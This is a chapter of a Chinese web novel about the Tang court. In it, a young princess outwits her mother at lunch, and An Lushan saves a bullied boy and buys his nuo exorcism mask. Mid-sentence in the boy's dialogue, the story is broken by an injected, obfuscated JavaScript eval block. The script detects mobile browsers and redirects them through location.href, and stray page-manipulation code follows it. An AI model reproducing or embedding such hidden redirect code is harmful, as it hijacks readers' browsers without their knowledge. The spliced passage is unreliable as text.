随后雪衣张开双臂,挡在盛水果捞的碗前,昂着头盯着自家小主人道:“宁儿去吃饭,宁儿去吃饭!” “我说了我不要!”李婉宁气鼓鼓地戳了戳雪衣的脑袋,“我要吃早饭,雪衣快走开!” 然而她话音未落,身后忽地传来了一个熟悉的声音。 “小殿下,陛下和娘娘喊您去内殿吃午饭。” 闻言,李婉宁连忙回过头,随后便见到阿娘身边的大宫女张云容就站在她的背后,含笑看着她。 “云,云容姐姐?!” 她这才后知后觉地意识到,原来雪衣刚才是出去告状了! 想明白一切的李婉宁难以置信地看着雪衣,咬牙切齿地瞪着后者。 啊啊啊啊雪衣你这个大坏蛋!!! 而被她咬牙切齿无声控诉的雪衣,则扑闪着翅膀飞到了张云容的肩膀上,昂首挺胸,俨然一副胜利者的姿态。 “去吃饭!去吃饭!” ...... 最后李婉宁还是苦着脸被张云容和雪衣带到了内殿。 李隆基瞧见自家闺女紧皱成一团的小脸蛋,不由得惊讶地问道:“哎哟,这是谁惹着咱们宁儿了?” 李婉宁伸出手指着自己肩膀上的雪衣,控诉道:“是它!” “嗯?”杨玉环略微挑眉,“怎么回事?” 于是巧织含笑着把方才发生的事情讲述了一遍。 听完了事情的原委,夫妻二人不由得失笑。 李隆基大手一挥:“雪衣做的好,赏一盘杏仁!” 闻言,雪衣登时开心地飞了起来,在自家小主人的头顶上盘旋。 一边盘旋一边道:“太好了!太好了!” 于是李婉宁气得都跺脚了:“阿爹!!!” 呜呜呜阿爹胳膊肘往外拐! 杨玉环失笑着朝自家闺女招了招手:“好了好了,宁儿快来吃饭吧。” 李婉宁皱着眉头叹了口气,只好不情不愿 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等到饭吃了一半,张云容捧着今夜除夕的歌舞单子走了进来,恭敬道:“回禀娘娘,都已经准备好了。” 闻言,杨玉环不由得扭过头问道:“花萼相辉楼里也已经布置好了?” 张云容颔首道:“都已经布置好了。” 说时迟那时快,一主一仆这才说了两句话,李婉宁便看准了时机,火速夹起自己的碗里的那些菜,放到了李隆基的碗里。 而李隆基更是以出其不意地速度端起碗,把那些菜全都吃掉。 于是等到一主一仆把今夜的事宜都核对完,杨玉环再回过头的时候,就发现自家闺女的碗里就只剩下白米饭了。 她不禁挑眉问道:“宁儿的菜呢?” “吃了呀!”李婉宁骄傲地挺起小胸脯,神气道,“宁儿厉害吧!” 反正她也没说是她自己吃的还是阿爹吃的,而且她能在阿娘的眼皮子底下暗度陈仓,就是很厉害! 宁儿可没有说谎呢,宁儿还是个好孩子的! 李婉宁越想越觉得理直气壮。 而杨玉环听到女儿这般说,则是狐疑地扭过头看了自家丈夫一眼。 李隆基安静地吃着饭菜,默不作声。 这下杨玉环算是明白了。 若这菜真是宁儿吃的,那依着陛下的性子,怎么也得把宁儿夸到天上去了,哪里还会这般沉默寡言? 她只好无奈地叹了口气。 真是前有猛虎,后有家贼啊。 末了,等到一家三口吃完了午饭,李婉宁挺直自己的小身板伸了个懒腰,跑回自己的偏殿去睡午觉去了。 巧织一下又一下地拍着自家小殿下的小屁股,就听到那稚嫩的声音低声道:“巧织姐姐这次不要喊我,我要睡够了,晚上守岁......” 闻言,巧织不由得失笑。 小殿下本来就生性嗜睡,而且等到今夜过了年也才九岁,还是长身体的年纪,往年守岁都是喊得热闹,结果没有一次熬住过。 这般想着,眼见着榻上的小殿下呼吸逐渐均匀,粉雕玉琢的小脸蛋宛若一块温润的美玉,令人忍不住想要呵护。 巧织不由得伸出手,轻轻地刮了刮李婉宁的小鼻子,而后替自家小殿下仔细地掖好被子,轻声打开门走了出去。 彼时,在兴庆宫外的一条美食街上,安禄山也刚好吃完了午饭,放下碗筷离开了食铺。 在回去的路上,他看到一群少年正在围着另一个少年拳打脚踢,而被殴打的那个则倒在地上蜷缩成一团,怀里紧紧地护着一个凶神恶煞的青黑色面具。 39. 买驱傩面具 那些少年约莫十二三岁的模样,身上穿着锦衣绸缎,想来是富贵人家的孩子。 十二三岁,正是半大不大的年纪,明明身形已经长得如少年般挺拔,然而根子里却依旧带着孩子的顽劣。 他们一边拳打脚踢着那个蜷缩在地上的少年,一边嘴里骂着:“你到底凭什么啊!” “一个娼妓生出来的贱种,凭什么能得到护僮侲子的面具!” “你也就跳舞跳得好看些罢了,和你那个贱骨头的娘一个德行,都是给人们卖笑的工具!” 有个少年说着便伸出手,想要去抢他怀里的面具。 “贱种!快把面具交出来!” “休想!”被殴打的少年双手护着面具腾不出手,于是干脆张开嘴,狠狠地咬了对方的手一口。 “啊!”抢他面具的那个少年惨叫了一声。 而他的同伴们见状,登时殴打得更加卖力。 “你还敢反抗?!” “打!把他往死里打!” 彼时,安禄山就站在不远处看着这一幕。 有那么一瞬间,他仿佛看到了从前的自己。 ......那个时候,他就是这么护着自己的黑玉,因而被周围的人们拳打脚踢。 最开始的时候,他还会尝试反抗。 可是他双拳难敌四手,势单力薄,而那帮人成群结队,年纪还要比他大上许多,他又哪里是对手呢? 有几次,他被那些人打到了脑袋,硬生生把他打晕了。 而后他再醒过来时,天上已经下起了雨,浇在他伤痕累累的身上,那刺骨的寒意仿佛能渗入他的伤口,直达他的内心。 所幸后来他被打习惯了,逐渐就变得皮糙肉厚,十分的抗揍,硬生生能耗到那些人打累了,最后骂骂咧咧地放过了他。 其实现在想想,他之所以入伍以后打仗能那么拼命那么狠,说不定就是因为之前被打习惯了呢? 那他还得谢谢那些人啊,提早的传授给了他打仗的经验,不然他也没法累建那么多军功,当上如今的营州都督。 哈...... 安禄山的面上逐渐露出了一个讽刺的笑容。 他微微回过神来,见到那些少年居然还在发了狠地打着,丝毫不知疲惫的模样。 当朝尚武,稍微富贵些的人家里,教育孩子都是要骑射笔墨样样精通的,想来这些少年也是如此。 明明他们受到的都是最好的教育,然而骨子里却是充斥着最纯粹的恶意。 这般想着,安禄山的眼中已经充满了狠厉。 在那一瞬间,愤怒迅速攀上了他的大脑,等到他的神智恢复以后,他正一手提着一个少年,而在他的面前,其余的少年纷纷瘫坐在地上,惊恐地看着他。 而他手上的那两个甚至害怕地忘记了反抗。 那些少年方才正打得起劲,然后面前的这个胡人就不知道从哪冒了出来,瞪着一双凶恶的眼眸,抓着两个同伴的后衣领就把他们提了起来,丝毫不费吹灰之力。 这个胡人长得实在是太高大强壮了,从远处看像头熊,近距离看更是如同一座山一般。 更不要提他脸上的神情有多么的凶神恶煞,双眼充满了杀意,仿佛稍有不慎便能将他们撕碎。 面对着这样一座巍峨的高山,他们被吓得大脑一片空白,更不要说想着逃跑。 而后,面前这个可怕的胡人森寒地瞪了他们一眼,将手里的同伴丢在地上,冷声道:“滚。” 此言一出,那些少年仿佛才终于捡回了一丝神智,连忙从地上爬了起来,仓皇地逃走了。 末了,安禄山看着那些那些少年逃跑的背影,微不可闻地叹了口气。 明明从小到大的经历,给他的教训都是不要多事。 尤其是在长安,他完全不知道那些少年背后的势力有多大,倘若因此不小心招惹了不该招惹的人物,那么他再想加官进爵来到长安的官场,那几乎是痴人说梦。 他怎么就,那么冲动了呢...... 彼时安禄山正在懊恼着,那个被欺负的少年也晃动着被打得伤痕累累的身体,来到了他的面前。 “谢,谢谢您!” 闻言,他不由得低头看向面前的少年。 尽管这个少年被打得鼻青脸肿,但仍旧掩盖不住秀气的五官,全身穿着一袭粗布麻衣,想来是个穷苦人家的孩子。 哦对,安禄山想起来了,刚才那些人打这个少年的时候不是说,他是娼妓的儿子么。 但见面前的少年抱紧怀里的面具瑟瑟发抖着,不知是因着他身上的衣服太过单薄,还是因为寒风吹痛了他身上的伤。 亦或者,两者都有吧。 想到此,安禄山再次懊恼自己的冲动。 为了一个无权无势的孩子,去得罪那些可能是权贵的人家,这笔买卖,真是亏大了。 只是事到如此,他再反悔也没用了。 这般想着,安禄山的目光逐渐落到了少年怀里的青色面具上。 他不禁有些好奇道:“你从方才起,就一直护着这个面具。” 少年微微点了点头,也低下头看着自己怀里的面具。 “这个,是驱傩的队伍里边,护僮侲子的面具。” 护僮侲子,安禄山倒是略有耳闻。 汉人的习俗里,每年到了除夕夜,各地的百姓都会自发组建起一支支驱傩的队伍,走街串巷,跳傩舞演傩戏,以此来祭神驱鬼,遣灾纳福。 驱傩的队伍里一共有三种角色,负责领头的傩公傩母,跟在傩公傩母后面的护僮侲子,和被驱除的傩鬼。 其中傩公傩母和傩鬼都是由比较专业的舞者担任,负责跳傩舞祝福;而那些护僮侲子,则是由那些小孩子组成,大多数只是凑个热闹玩的。 安禄山不禁想到了方才那些少年殴打面前的这个,就是为了抢他的面具,不由问道:“你这个很珍贵么,为什么他们都在抢?” 这个面具看着也不是用什么名贵的材料做的啊,给他一天他也能做一个。 闻言,少年似是愣了一下,继而解释道:“这个,这个面具所在的那只傩队,是今晚会去到皇宫里,给陛下和娘娘驱傩的。” 去到宫里?给陛下和娘娘驱傩?! 听到这句话,安禄山的双眼瞬间就亮了。 如果,如果能给陛下和娘娘驱傩,那是不是...... 毕竟,除夕那么重要的日子,长安公主殿下她,肯定也会和父母待在一起的吧? 想到此,安禄山几乎是有些渴望地看着那副面具。 如果他也能进入那支傩队就好了...... “既然是这么重要的面具,你怎么不把它放在家里藏好,还拿出来做什么?” 若是被抢了,那岂不是太可惜了。 就如同方才,若是他没有出手的话,也许这面具真的就会被那群少年抢走了。 然而面前的少年听到他的话,却是低下头陷入了沉默。 过了片刻,少年的肩头微微颤抖着,声音中竟多了一丝哭腔:“我,我阿娘生病了,没钱买药,我原本想把它拿出去卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14686669|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉,换点钱......” “可是,可是......”少年哽咽着道,“买面具的人看我年纪小,故意开很低的价。” “我找了好几家,他们,他们开给我的价,连给别人的一半,一半都不到!” 这般说着,少年眨了眨眼睛,豆大的泪珠从脸颊滑落,滴到了覆着雪的地上,凝结成了冰。 安禄山看着面前的少年,那颗原本冷漠的心到底还是软了。 这个世道就是这样的。 弱肉强食,弱者只会被欺凌。 曾几何时,他和这个少年真的一模一样。 不过...... 他看着少年怀里的面具,发自内心地感叹着。 他曾经那么艰难的时候,上天都不肯垂青他一眼,如今他飞黄腾达了,上天倒是开始眷顾他了。 “你这个面具要卖多少钱?”安禄山说着便解下腰间的荷包,“我买了。” 自从就任营州都督以后,他的日子也变得越来越富裕了。 就算他什么也不做,手底下的人也会巴巴地凑上来给他送钱,再也不用像从前那样舍不得吃舍不得穿了。 而且他吃了上次钱没带够,连一本书都买不起的教训,这次来长安特意带了不少钱,如今这不就派上用场了? 这般想着,他再抬起头时,见到那个少年看向他的目光居然多了几分警惕,似乎是担心他和那些无良奸商一样,会故意压价。 末了,少年似乎是犹豫了一番,有些颤颤巍巍地伸出了一根手指。 安禄山不由得挑眉。 一贯钱?一两金子?还是一匹绢帛? 上次他买书时带的是五贯钱,也就是五两金子,结果完全不够。 难不成在长安,买药比买书还要便宜? 他不由得问道:“一贯钱抓药够吗?” 闻言,少年低下头,再次陷入了沉默。 当然是不够的。 可是他也害怕开价太高,面前的这位郎君不要了,那他就一分钱也卖不出去了。 最后,还是安禄山看穿了这孩子的想法,末了从荷包里掏出了一锭金子,递给了对方。 “这些够了?” 少年不可思议地接过那锭金子。 足足十两的金子,放在手心里沉甸甸的,在阳光下映射下更是绽放着金灿灿的光辉,耀眼夺目。 他,他这辈子都没有拿过这么多钱! 少年连忙将怀里的面具递给安禄山,末了不断地朝着他鞠躬道:“谢谢您,谢谢郎君!” 见到这孩子高兴的模样,方才还可怜巴巴的眼眸如今已经迸发出了欣喜的亮光,安禄山的心里也有了一丝欣慰。 他拍了拍少年的肩膀:“去抓药吧。” 那少年应了一声便要转身离开,末了似乎又想起了什么,重新转过身来看向安禄山。 “敢问郎君尊姓大名,郎君大恩,孝哲铭记在心,来日若有机会,定然寻求报答!” 闻言,安禄山不由得笑了一声。 也行吧,万一这小子将来真能和他一样,从肮脏的泥泞里走出来,飞黄腾达了呢? 就当结个善缘了。 这般想着,安禄山开口道:“我叫安禄山。” “安禄山......”少年默念了一声他的名字,末了再次躬身行了一礼,“我记住了,谢谢安郎君大恩大德!” 最后,安禄山望着那个少年跑远的背影,末了打量了一下自己手里的面具。 此次来长安,真的没有白来啊。